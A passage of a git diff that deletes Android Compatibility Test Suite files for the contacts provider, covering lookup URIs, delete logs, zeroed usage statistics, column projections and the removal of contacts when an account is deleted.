- Uri emptyLookupUri = Contacts.getLookupUri(contactId, "");
- assertNull(emptyLookupUri);
-
- Uri lookupUri2 = Contacts.getLookupUri(mResolver, contactUri);
- assertEquals(lookupUri, lookupUri2);
-
- Uri contactUri2 = Contacts.lookupContact(mResolver, lookupUri);
- assertEquals(contactUri, contactUri2);
- }
-
- public void testInsert_isUnsupported() {
- DatabaseAsserts.assertInsertIsUnsupported(mResolver, Contacts.CONTENT_URI);
- }
-
- public void testContactDelete_removesContactRecord() {
- assertContactCreateDelete();
- }
-
- public void testContactDelete_hasDeleteLog() {
- long start = System.currentTimeMillis();
- DatabaseAsserts.ContactIdPair ids = assertContactCreateDelete();
- DatabaseAsserts.assertHasDeleteLogGreaterThan(mResolver, ids.mContactId, start);
-
- // Clean up. Must also remove raw contact.
- RawContactUtil.delete(mResolver, ids.mRawContactId, true);
- }
-
- public void testContactDelete_marksRawContactsForDeletion() {
- DatabaseAsserts.ContactIdPair ids = assertContactCreateDelete();
-
- String[] projection = new String[] {
- ContactsContract.RawContacts.DIRTY,
- ContactsContract.RawContacts.DELETED
- };
- List<String[]> records = RawContactUtil.queryByContactId(mResolver, ids.mContactId,
- projection);
- for (String[] arr : records) {
- assertEquals("1", arr[0]);
- assertEquals("1", arr[1]);
- }
-
- // Clean up
- RawContactUtil.delete(mResolver, ids.mRawContactId, true);
- }
-
- public void testContactUpdate_updatesContactUpdatedTimestamp() {
- DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
-
- long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
-
- ContentValues values = new ContentValues();
- values.put(ContactsContract.Contacts.STARRED, 1);
-
- SystemClock.sleep(1);
- ContactUtil.update(mResolver, ids.mContactId, values);
-
- long newTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
- assertTrue(newTime > baseTime);
-
- // Clean up
- RawContactUtil.delete(mResolver, ids.mRawContactId, true);
- }
-
- /**
- * Note we no longer support contact affinity as of Q, so times_contacted and
- * last_time_contacted are always 0.
- */
- public void testContactUpdate_usageStats() throws Exception {
- final TestRawContact rawContact = mBuilder.newRawContact().insert().load();
- final TestContact contact = rawContact.getContact().load();
-
- contact.load();
- assertEquals(0L, contact.getLong(Contacts.TIMES_CONTACTED));
- assertEquals(0L, contact.getLong(Contacts.LAST_TIME_CONTACTED));
-
- final long now = System.currentTimeMillis();
-
- ContentValues values = new ContentValues();
- values.clear();
- values.put(Contacts.TIMES_CONTACTED, 3);
- values.put(Contacts.LAST_TIME_CONTACTED, now);
- ContactUtil.update(mResolver, contact.getId(), values);
-
- contact.load();
- assertEquals(0, contact.getLong(Contacts.TIMES_CONTACTED));
- assertEquals(0, contact.getLong(Contacts.LAST_TIME_CONTACTED));
-
- // This is also the same as markAsContacted().
- values.clear();
- values.put(Contacts.LAST_TIME_CONTACTED, now);
- ContactUtil.update(mResolver, contact.getId(), values);
-
- contact.load();
- assertEquals(0, contact.getLong(Contacts.TIMES_CONTACTED));
- assertEquals(0, contact.getLong(Contacts.LAST_TIME_CONTACTED));
-
- values.clear();
- values.put(Contacts.TIMES_CONTACTED, 10);
-
- ContactUtil.update(mResolver, contact.getId(), values);
-
- contact.load();
- assertEquals(0, contact.getLong(Contacts.TIMES_CONTACTED));
- assertEquals(0, contact.getLong(Contacts.LAST_TIME_CONTACTED));
- }
-
- /**
- * Make sure the rounded usage stats values are also what the callers would see in where
- * clauses.
- *
- * This tests both contacts and raw_contacts.
- */
- public void testContactUpdateDelete_usageStats_visibilityInWhere() throws Exception {
- final TestRawContact rawContact = mBuilder.newRawContact().insert().load();
- final TestContact contact = rawContact.getContact().load();
-
- // To make things more predictable, inline markAsContacted here with a known timestamp.
- final long now = (System.currentTimeMillis() / 86400 * 86400) + 86400 * 5 + 123;
-
- ContentValues values = new ContentValues();
- values.put(Contacts.LAST_TIME_CONTACTED, now);
-
- // This makes the internal TIMES_CONTACTED 35. But the visible value is still 30.
- for (int i = 0; i < 35; i++) {
- ContactUtil.update(mResolver, contact.getId(), values);
- }
-
- contact.load();
- rawContact.load();
-
- assertEquals(0, contact.getLong(Contacts.LAST_TIME_CONTACTED));
- assertEquals(0, contact.getLong(Contacts.TIMES_CONTACTED));
-
- assertEquals(0, rawContact.getLong(Contacts.LAST_TIME_CONTACTED));
- assertEquals(0, rawContact.getLong(Contacts.TIMES_CONTACTED));
- }
-
- public void testProjection() throws Exception {
- final TestRawContact rawContact = mBuilder.newRawContact().insert().load();
- rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
- .with(StructuredName.GIVEN_NAME, "xxx")
- .insert();
-
- final TestContact contact = rawContact.getContact().load();
- final long contactId = contact.getId();
- final String lookupKey = contact.getString(Contacts.LOOKUP_KEY);
-
- final String[] PROJECTION = new String[]{
- Contacts._ID,
- Contacts.DISPLAY_NAME,
- Contacts.DISPLAY_NAME_PRIMARY,
- Contacts.DISPLAY_NAME_ALTERNATIVE,
- Contacts.DISPLAY_NAME_SOURCE,
- Contacts.PHONETIC_NAME,
- Contacts.PHONETIC_NAME_STYLE,
- Contacts.SORT_KEY_PRIMARY,
- Contacts.SORT_KEY_ALTERNATIVE,
- Contacts.LAST_TIME_CONTACTED,
- Contacts.TIMES_CONTACTED,
- Contacts.STARRED,
- Contacts.PINNED,
- Contacts.IN_DEFAULT_DIRECTORY,
- Contacts.IN_VISIBLE_GROUP,
- Contacts.PHOTO_ID,
- Contacts.PHOTO_FILE_ID,
- Contacts.PHOTO_URI,
- Contacts.PHOTO_THUMBNAIL_URI,
- Contacts.CUSTOM_RINGTONE,
- Contacts.HAS_PHONE_NUMBER,
- Contacts.SEND_TO_VOICEMAIL,
- Contacts.IS_USER_PROFILE,
- Contacts.LOOKUP_KEY,
- Contacts.NAME_RAW_CONTACT_ID,
- Contacts.CONTACT_PRESENCE,
- Contacts.CONTACT_CHAT_CAPABILITY,
- Contacts.CONTACT_STATUS,
- Contacts.CONTACT_STATUS_TIMESTAMP,
- Contacts.CONTACT_STATUS_RES_PACKAGE,
- Contacts.CONTACT_STATUS_LABEL,
- Contacts.CONTACT_STATUS_ICON,
- Contacts.CONTACT_LAST_UPDATED_TIMESTAMP
- };
-
- // Contacts.CONTENT_URI
- DatabaseAsserts.checkProjection(mResolver,
- Contacts.CONTENT_URI,
- PROJECTION,
- new long[]{contact.getId()}
- );
-
- // Contacts.CONTENT_FILTER_URI
- DatabaseAsserts.checkProjection(mResolver,
- Contacts.CONTENT_FILTER_URI.buildUpon().appendEncodedPath("xxx").build(),
- PROJECTION,
- new long[]{contact.getId()}
- );
-
- // Contacts.CONTENT_FILTER_URI
- DatabaseAsserts.checkProjection(mResolver,
- Contacts.ENTERPRISE_CONTENT_FILTER_URI.buildUpon().appendEncodedPath("xxx")
- .appendQueryParameter(ContactsContract.DIRECTORY_PARAM_KEY,
- String.valueOf(Directory.DEFAULT)).build(),
- PROJECTION,
- new long[]{contact.getId()}
- );
-
- // Contacts.CONTENT_LOOKUP_URI
- DatabaseAsserts.checkProjection(mResolver,
- Contacts.getLookupUri(contactId, lookupKey),
- PROJECTION,
- new long[]{contact.getId()}
- );
- }
-
- /**
- * Create a contact. Delete it. And assert that the contact record is no longer present.
- *
- * @return The contact id and raw contact id that was created.
- */
- private DatabaseAsserts.ContactIdPair assertContactCreateDelete() {
- DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
-
- SystemClock.sleep(1);
- ContactUtil.delete(mResolver, ids.mContactId);
-
- assertFalse(ContactUtil.recordExistsForContactId(mResolver, ids.mContactId));
-
- return ids;
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
deleted file mode 100644
index 89889f7..0000000
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsContract_RawContactsTest.java
+++ /dev/null
@@ -1,308 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts.contacts;
-
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.net.Uri;
-import android.provider.ContactsContract;
-import android.provider.ContactsContract.CommonDataKinds.StructuredName;
-import android.provider.ContactsContract.RawContacts;
-import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestContact;
-import android.provider.cts.contacts.ContactsContract_TestDataBuilder.TestRawContact;
-import android.provider.cts.contacts.account.StaticAccountAuthenticator;
-import android.test.AndroidTestCase;
-import android.test.MoreAsserts;
-
-public class ContactsContract_RawContactsTest extends AndroidTestCase {
- private ContentResolver mResolver;
- private ContactsContract_TestDataBuilder mBuilder;
-
- private static final String[] RAW_CONTACTS_PROJECTION = new String[]{
- RawContacts._ID,
- RawContacts.CONTACT_ID,
- RawContacts.DELETED,
- RawContacts.DISPLAY_NAME_PRIMARY,
- RawContacts.DISPLAY_NAME_ALTERNATIVE,
- RawContacts.DISPLAY_NAME_SOURCE,
- RawContacts.PHONETIC_NAME,
- RawContacts.PHONETIC_NAME_STYLE,
- RawContacts.SORT_KEY_PRIMARY,
- RawContacts.SORT_KEY_ALTERNATIVE,
- RawContacts.TIMES_CONTACTED,
- RawContacts.LAST_TIME_CONTACTED,
- RawContacts.CUSTOM_RINGTONE,
- RawContacts.SEND_TO_VOICEMAIL,
- RawContacts.STARRED,
- RawContacts.PINNED,
- RawContacts.AGGREGATION_MODE,
- RawContacts.RAW_CONTACT_IS_USER_PROFILE,
- RawContacts.ACCOUNT_NAME,
- RawContacts.ACCOUNT_TYPE,
- RawContacts.DATA_SET,
- RawContacts.ACCOUNT_TYPE_AND_DATA_SET,
- RawContacts.DIRTY,
- RawContacts.SOURCE_ID,
- RawContacts.BACKUP_ID,
- RawContacts.VERSION,
- RawContacts.SYNC1,
- RawContacts.SYNC2,
- RawContacts.SYNC3,
- RawContacts.SYNC4
- };
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mResolver = getContext().getContentResolver();
- ContentProviderClient provider =
- mResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
- mBuilder = new ContactsContract_TestDataBuilder(provider);
- }
-
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
- mBuilder.cleanup();
- }
-
- public void testGetLookupUriBySourceId() throws Exception {
- TestRawContact rawContact = mBuilder.newRawContact()
- .with(RawContacts.ACCOUNT_TYPE, "test_type")
- .with(RawContacts.ACCOUNT_NAME, "test_name")
- .with(RawContacts.SOURCE_ID, "source_id")
- .insert();
-
- // TODO remove this. The method under test is currently broken: it will not
- // work without at least one data row in the raw contact.
- rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
- .with(StructuredName.DISPLAY_NAME, "test name")
- .insert();
-
- Uri lookupUri = RawContacts.getContactLookupUri(mResolver, rawContact.getUri());
- assertNotNull("Could not produce a lookup URI", lookupUri);
-
- TestContact lookupContact = mBuilder.newContact().setUri(lookupUri).load();
- assertEquals("Lookup URI matched the wrong contact",
- lookupContact.getId(), rawContact.load().getContactId());
- }
-
- public void testGetLookupUriByDisplayName() throws Exception {
- TestRawContact rawContact = mBuilder.newRawContact()
- .with(RawContacts.ACCOUNT_TYPE, "test_type")
- .with(RawContacts.ACCOUNT_NAME, "test_name")
- .insert();
- rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
- .with(StructuredName.DISPLAY_NAME, "test name")
- .insert();
-
- Uri lookupUri = RawContacts.getContactLookupUri(mResolver, rawContact.getUri());
- assertNotNull("Could not produce a lookup URI", lookupUri);
-
- TestContact lookupContact = mBuilder.newContact().setUri(lookupUri).load();
- assertEquals("Lookup URI matched the wrong contact",
- lookupContact.getId(), rawContact.load().getContactId());
- }
-
- public void testRawContactDelete_setsDeleteFlag() {
- long rawContactid = RawContactUtil.insertRawContact(mResolver,
- StaticAccountAuthenticator.ACCOUNT_1);
-
- assertTrue(RawContactUtil.rawContactExistsById(mResolver, rawContactid));
-
- RawContactUtil.delete(mResolver, rawContactid, false);
-
- String[] projection = new String[]{
- ContactsContract.RawContacts.CONTACT_ID,
- ContactsContract.RawContacts.DELETED
- };
- String[] result = RawContactUtil.queryByRawContactId(mResolver, rawContactid,
- projection);
-
- // Contact id should be null
- assertNull(result[0]);
- // Record should be marked deleted.
- assertEquals("1", result[1]);
- }
-
- public void testRawContactDelete_removesRecord() {
- long rawContactid = RawContactUtil.insertRawContact(mResolver,
- StaticAccountAuthenticator.ACCOUNT_1);
- assertTrue(RawContactUtil.rawContactExistsById(mResolver, rawContactid));
-
- RawContactUtil.delete(mResolver, rawContactid, true);
-
- assertFalse(RawContactUtil.rawContactExistsById(mResolver, rawContactid));
-
- // already clean
- }
-
-
- // This implicitly tests the Contact create case.
- public void testRawContactCreate_updatesContactUpdatedTimestamp() {
- long startTime = System.currentTimeMillis();
-
- DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
- long lastUpdated = getContactLastUpdatedTimestampByRawContactId(mResolver,
- ids.mRawContactId);
-
- assertTrue(lastUpdated > startTime);
-
- // Clean up
- RawContactUtil.delete(mResolver, ids.mRawContactId, true);
- }
-
- public void testRawContactUpdate_updatesContactUpdatedTimestamp() {
- DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
-
- long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
-
- ContentValues values = new ContentValues();
- values.put(ContactsContract.RawContacts.STARRED, 1);
- RawContactUtil.update(mResolver, ids.mRawContactId, values);
-
- long newTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
- assertTrue(newTime > baseTime);
-
- // Clean up
- RawContactUtil.delete(mResolver, ids.mRawContactId, true);
- }
-
- public void testRawContactPsuedoDelete_hasDeleteLogForContact() {
- DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
-
- long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
-
- RawContactUtil.delete(mResolver, ids.mRawContactId, false);
-
- DatabaseAsserts.assertHasDeleteLogGreaterThan(mResolver, ids.mContactId, baseTime);
-
- // clean up
- RawContactUtil.delete(mResolver, ids.mRawContactId, true);
- }
-
- public void testRawContactDelete_hasDeleteLogForContact() {
- DatabaseAsserts.ContactIdPair ids = DatabaseAsserts.assertAndCreateContact(mResolver);
-
- long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, ids.mContactId);
-
- RawContactUtil.delete(mResolver, ids.mRawContactId, true);
-
- DatabaseAsserts.assertHasDeleteLogGreaterThan(mResolver, ids.mContactId, baseTime);
-
- // already clean
- }
-
- private long getContactLastUpdatedTimestampByRawContactId(ContentResolver resolver,
- long rawContactId) {
- long contactId = RawContactUtil.queryContactIdByRawContactId(mResolver, rawContactId);
- MoreAsserts.assertNotEqual(CommonDatabaseUtils.NOT_FOUND, contactId);
-
- return ContactUtil.queryContactLastUpdatedTimestamp(mResolver, contactId);
- }
-
- public void testProjection() throws Exception {
- TestRawContact rawContact = mBuilder.newRawContact()
- .with(RawContacts.ACCOUNT_TYPE, "test_type")
- .with(RawContacts.ACCOUNT_NAME, "test_name")
- .insert();
- rawContact.newDataRow(StructuredName.CONTENT_ITEM_TYPE)
- .with(StructuredName.DISPLAY_NAME, "test name")
- .insert();
-
- DatabaseAsserts.checkProjection(mResolver, RawContacts.CONTENT_URI,
- RAW_CONTACTS_PROJECTION,
- new long[]{rawContact.getId()}
- );
- }
-
- public void testInsertUsageStat() throws Exception {
- // Note we no longer support contact affinity as of Q, so times_contacted and
- // last_time_contacted are always 0, and "frequent" is always empty.
-
- final long now = System.currentTimeMillis();
- {
- TestRawContact rawContact = mBuilder.newRawContact()
- .with(RawContacts.ACCOUNT_TYPE, "test_type")
- .with(RawContacts.ACCOUNT_NAME, "test_name")
- .with(RawContacts.TIMES_CONTACTED, 12345)
- .with(RawContacts.LAST_TIME_CONTACTED, now)
- .insert();
-
- rawContact.load();
- assertEquals(0, rawContact.getLong(RawContacts.TIMES_CONTACTED));
- assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
- }
-
- {
- TestRawContact rawContact = mBuilder.newRawContact()
- .with(RawContacts.ACCOUNT_TYPE, "test_type")
- .with(RawContacts.ACCOUNT_NAME, "test_name")
- .with(RawContacts.TIMES_CONTACTED, 5)
- .insert();
-
- rawContact.load();
- assertEquals(0, rawContact.getLong(RawContacts.TIMES_CONTACTED));
- assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
- }
- {
- TestRawContact rawContact = mBuilder.newRawContact()
- .with(RawContacts.ACCOUNT_TYPE, "test_type")
- .with(RawContacts.ACCOUNT_NAME, "test_name")
- .with(RawContacts.LAST_TIME_CONTACTED, now)
- .insert();
-
- rawContact.load();
- assertEquals(0, rawContact.getLong(RawContacts.TIMES_CONTACTED));
- assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
- }
- }
-
- public void testUpdateUsageStat() throws Exception {
- ContentValues values = new ContentValues();
-
- final long now = System.currentTimeMillis();
- TestRawContact rawContact = mBuilder.newRawContact()
- .with(RawContacts.ACCOUNT_TYPE, "test_type")
- .with(RawContacts.ACCOUNT_NAME, "test_name")
- .with(RawContacts.TIMES_CONTACTED, 12345)
- .with(RawContacts.LAST_TIME_CONTACTED, now)
- .insert();
-
- rawContact.load();
- assertEquals(0, rawContact.getLong(RawContacts.TIMES_CONTACTED));
- assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
-
- values.clear();
- values.put(RawContacts.TIMES_CONTACTED, 99999);
- RawContactUtil.update(mResolver, rawContact.getId(), values);
-
- rawContact.load();
- assertEquals(0, rawContact.getLong(RawContacts.TIMES_CONTACTED));
- assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
-
- values.clear();
- values.put(RawContacts.LAST_TIME_CONTACTED, now + 86400);
- RawContactUtil.update(mResolver, rawContact.getId(), values);
-
- rawContact.load();
- assertEquals(0, rawContact.getLong(RawContacts.TIMES_CONTACTED));
- assertEquals(0, rawContact.getLong(RawContacts.LAST_TIME_CONTACTED));
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
deleted file mode 100755
index 4f82a49..0000000
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsProvider2_AccountRemovalTest.java
+++ /dev/null
@@ -1,245 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.provider.cts.contacts;
-
-import android.accounts.Account;
-import android.accounts.AccountManager;
-import android.content.ContentResolver;
-import android.os.SystemClock;
-import android.provider.cts.contacts.DatabaseAsserts.ContactIdPair;
-import android.provider.cts.contacts.account.StaticAccountAuthenticator;
-import android.test.AndroidTestCase;
-import android.test.suitebuilder.annotation.MediumTest;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-
-@MediumTest
-public class ContactsProvider2_AccountRemovalTest extends AndroidTestCase {
-
- private static long ASYNC_TIMEOUT_LIMIT_MS = 1000 * 60 * 1; // 3 minutes
- private static long SLEEP_BETWEEN_POLL_MS = 1000 * 10; // 10 seconds
-
- private static int NOT_MERGED = -1;
-
- // Not re-using StaticAcountAuthenticator.ACCOUNT_1 because this test may break
- // other tests running when the account is removed. No other tests should use the following
- // accounts.
- private static final Account ACCT_1 = new Account("cp removal acct 1",
- StaticAccountAuthenticator.TYPE);
- private static final Account ACCT_2 = new Account("cp removal acct 2",
- StaticAccountAuthenticator.TYPE);
-
- private ContentResolver mResolver;
- private AccountManager mAccountManager;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mResolver = getContext().getContentResolver();
- mAccountManager = AccountManager.get(getContext());
- }
-
- @Override
- protected void tearDown() throws Exception {
- super.tearDown();
- }
-
- public void testAccountRemoval_deletesContacts() {
- mAccountManager.addAccountExplicitly(ACCT_1, null, null);
- mAccountManager.addAccountExplicitly(ACCT_2, null, null);
- ArrayList<ContactIdPair> acc1Ids = createContacts(ACCT_1, 5);
- ArrayList<ContactIdPair> acc2Ids = createContacts(ACCT_2, 15);
-
- mAccountManager.removeAccount(ACCT_2, null, null);
- assertContactsDeletedEventually(System.currentTimeMillis(), acc2Ids);
-
- mAccountManager.removeAccount(ACCT_1, null, null);
- assertContactsDeletedEventually(System.currentTimeMillis(), acc1Ids);
- }
-
- public void testAccountRemoval_hasDeleteLogsForContacts() {
- mAccountManager.addAccountExplicitly(ACCT_1, null, null);
- mAccountManager.addAccountExplicitly(ACCT_2, null, null);
- ArrayList<ContactIdPair> acc1Ids = createContacts(ACCT_1, 5);
- ArrayList<ContactIdPair> acc2Ids = createContacts(ACCT_2, 15);
-
- long start = System.currentTimeMillis();
- mAccountManager.removeAccount(ACCT_2, null, null);
- assertContactsInDeleteLogEventually(start, acc2Ids);
-
- start = System.currentTimeMillis();
- mAccountManager.removeAccount(ACCT_1, null, null);
- assertContactsInDeleteLogEventually(start, acc1Ids);
- }
-
- /**
- * Contact has merged raw contacts from a single account. Contact should be deleted upon
- * account removal.
- */
- public void testAccountRemovalWithMergedContact_deletesContacts() {
- mAccountManager.addAccountExplicitly(ACCT_1, null, null);
- List<ContactIdPair> idList = createAndAssertMergedContact(ACCT_1, ACCT_1);
- mAccountManager.removeAccount(ACCT_1, null, null);
- assertContactsDeletedEventually(System.currentTimeMillis(), idList);
- }
-
- /**
- * Contact has merged raw contacts from different accounts. Contact should not be deleted when
- * one account is removed. But contact should have last updated timestamp updated.
- */
- public void testAccountRemovalWithMergedContact_doesNotDeleteContactAndTimestampUpdated() {
- mAccountManager.addAccountExplicitly(ACCT_1, null, null);
- mAccountManager.addAccountExplicitly(ACCT_2, null, null);
- List<ContactIdPair> idList = createAndAssertMergedContact(ACCT_1, ACCT_2);
- long contactId = idList.get(0).mContactId;
-
- long baseTime = ContactUtil.queryContactLastUpdatedTimestamp(mResolver, contactId);
- long start = System.currentTimeMillis();
- mAccountManager.removeAccount(ACCT_1, null, null);
-
- while (ContactUtil.queryContactLastUpdatedTimestamp(mResolver, contactId) == baseTime) {
- assertWithinTimeoutLimit(start,
- "Contact " + contactId + " last updated timestamp has not been updated.");
- SystemClock.sleep(SLEEP_BETWEEN_POLL_MS);
- }
- mAccountManager.removeAccount(ACCT_2, null, null);
- }
-
- public void testAccountRemovalWithMergedContact_hasDeleteLogsForContacts() {
- mAccountManager.addAccountExplicitly(ACCT_1, null, null);
- List<ContactIdPair> idList = createAndAssertMergedContact(ACCT_1, ACCT_1);
- long start = System.currentTimeMillis();
- mAccountManager.removeAccount(ACCT_1, null, null);
- assertContactsInDeleteLogEventually(start, idList);
- }
-
- private List<ContactIdPair> createAndAssertMergedContact(Account acct, Account acct2) {
- ContactIdPair ids1 = DatabaseAsserts.assertAndCreateContactWithName(mResolver, acct,
- "merge me");
- DataUtil.insertPhoneNumber(mResolver, ids1.mRawContactId, "555-5555");
-
- ContactIdPair ids2 = DatabaseAsserts.assertAndCreateContactWithName(mResolver, acct2,
- "merge me");
- DataUtil.insertPhoneNumber(mResolver, ids2.mRawContactId, "555-5555");
-
- // Check merge before continuing. Merge process is async.
- long mergedContactId = assertMerged(System.currentTimeMillis(), ids1.mRawContactId,
- ids2.mRawContactId);
-
- // Update the contact id to the newly merged contact id.
- ids1.mContactId = mergedContactId;
- ids2.mContactId = mergedContactId;
-
- return Arrays.asList(ids1, ids2);
- }
-
- private long assertMerged(long start, long rawContactId, long rawContactId2) {
- long contactId = NOT_MERGED;
- while (contactId == NOT_MERGED) {
- assertWithinTimeoutLimit(start,
- "Raw contact " + rawContactId + " and " + rawContactId2 + " are not merged.");
-
- SystemClock.sleep(SLEEP_BETWEEN_POLL_MS);
- contactId = checkMerged(rawContactId, rawContactId2);
- }
- return contactId;
- }
-
- private long checkMerged(long rawContactId, long rawContactId2) {
- long contactId = RawContactUtil.queryContactIdByRawContactId(mResolver, rawContactId);
- long contactId2 = RawContactUtil.queryContactIdByRawContactId(mResolver, rawContactId2);
- if (contactId == contactId2) {
- return contactId;
- }
- return NOT_MERGED;
- }
-
- private void assertContactsInDeleteLogEventually(long start, List<ContactIdPair> idList) {
- // Can not use newArrayList() because the version that accepts size is missing.
- ArrayList<ContactIdPair> remaining = new ArrayList<ContactIdPair>(idList.size());
- remaining.addAll(idList);
- while (!remaining.isEmpty()) {
- // Account cleanup is asynchronous, wait a bit before checking.
- SystemClock.sleep(SLEEP_BETWEEN_POLL_MS);
- assertWithinTimeoutLimit(start, "Contacts " + Arrays.toString(remaining.toArray()) +
- " are not in delete log after account removal.");
-
- // Need a second list to remove since we can't remove from the list while iterating.
- ArrayList<ContactIdPair> toBeRemoved = new ArrayList<>();
- for (ContactIdPair ids : remaining) {
- long deletedTime = DeletedContactUtil.queryDeletedTimestampForContactId(mResolver,
- ids.mContactId);
- if (deletedTime != CommonDatabaseUtils.NOT_FOUND) {
- toBeRemoved.add(ids);
- assertTrue("Deleted contact was found in delete log but insert time is before"
- + " start time", deletedTime > start);
- }
- }
- remaining.removeAll(toBeRemoved);
- }
-
- // All contacts in delete log. Pass.
- }
-
- /**
- * Polls every so often to see if all contacts have been deleted. If not deleted in the
- * pre-defined threshold, fails.
- */
- private void assertContactsDeletedEventually(long start, List<ContactIdPair> idList) {
- // Can not use newArrayList() because the version that accepts size is missing.
- ArrayList<ContactIdPair> remaining = new ArrayList<ContactIdPair>(idList.size());
- remaining.addAll(idList);
- while (!remaining.isEmpty()) {
- // Account cleanup is asynchronous, wait a bit before checking.
- SystemClock.sleep(SLEEP_BETWEEN_POLL_MS);
- assertWithinTimeoutLimit(start, "Contacts have not been deleted after account"
- + " removal.");
-
- ArrayList<ContactIdPair> toBeRemoved = new ArrayList<>();
- for (ContactIdPair ids : remaining) {
- if (!RawContactUtil.rawContactExistsById(mResolver, ids.mRawContactId)) {
- toBeRemoved.add(ids);
- }
- }
- remaining.removeAll(toBeRemoved);
- }
-
- // All contacts deleted. Pass.
- }
-
- private void assertWithinTimeoutLimit(long start, String message) {
- long now = System.currentTimeMillis();
- long elapsed = now - start;
- if (elapsed > ASYNC_TIMEOUT_LIMIT_MS) {
- fail(elapsed + "ms has elapsed. The limit is " + ASYNC_TIMEOUT_LIMIT_MS + "ms. " +
- message);
- }
- }
-
- /**
- * Creates a given number of contacts for an account.
- */
- private ArrayList<ContactIdPair> createContacts(Account account, int numContacts) {
- ArrayList<ContactIdPair> accountIds = new ArrayList<>();
- for (int i = 0; i < numContacts; i++) {
- accountIds.add(DatabaseAsserts.assertAndCreateContact(mResolver, account));
- }
- return accountIds;
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/ContactsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/ContactsTest.java
deleted file mode 100644
index 8735c5a..0000000
--- a/tests/tests/provider/src/android/provider/cts/contacts/ContactsTest.java
+++ /dev/null
@@ -1,911 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts.contacts;
-
-
-
-import android.content.ContentProviderClient;
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.graphics.drawable.BitmapDrawable;
-import android.net.Uri;
-import android.os.RemoteException;
-import android.provider.CallLog;
-import android.provider.CallLog.Calls;
-import android.provider.Contacts;
-import android.provider.Contacts.ContactMethods;
-import android.provider.Contacts.Extensions;
-import android.provider.Contacts.GroupMembership;
-import android.provider.Contacts.Groups;
-import android.provider.Contacts.GroupsColumns;
-import android.provider.Contacts.Organizations;
-import android.provider.Contacts.People;
-import android.provider.Contacts.PeopleColumns;
-import android.provider.Contacts.Phones;
-import android.provider.Contacts.Photos;
-import android.provider.Contacts.Settings;
-import android.provider.ContactsContract;
-import android.telephony.PhoneNumberUtils;
-import android.test.InstrumentationTestCase;
-
-import java.io.IOException;
-import java.io.InputStream;
-import java.util.Date;
-
-public class ContactsTest extends InstrumentationTestCase {
- private ContentResolver mContentResolver;
- private ContentProviderClient mProvider;
- private ContentProviderClient mCallLogProvider;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
- mProvider = mContentResolver.acquireContentProviderClient(ContactsContract.AUTHORITY);
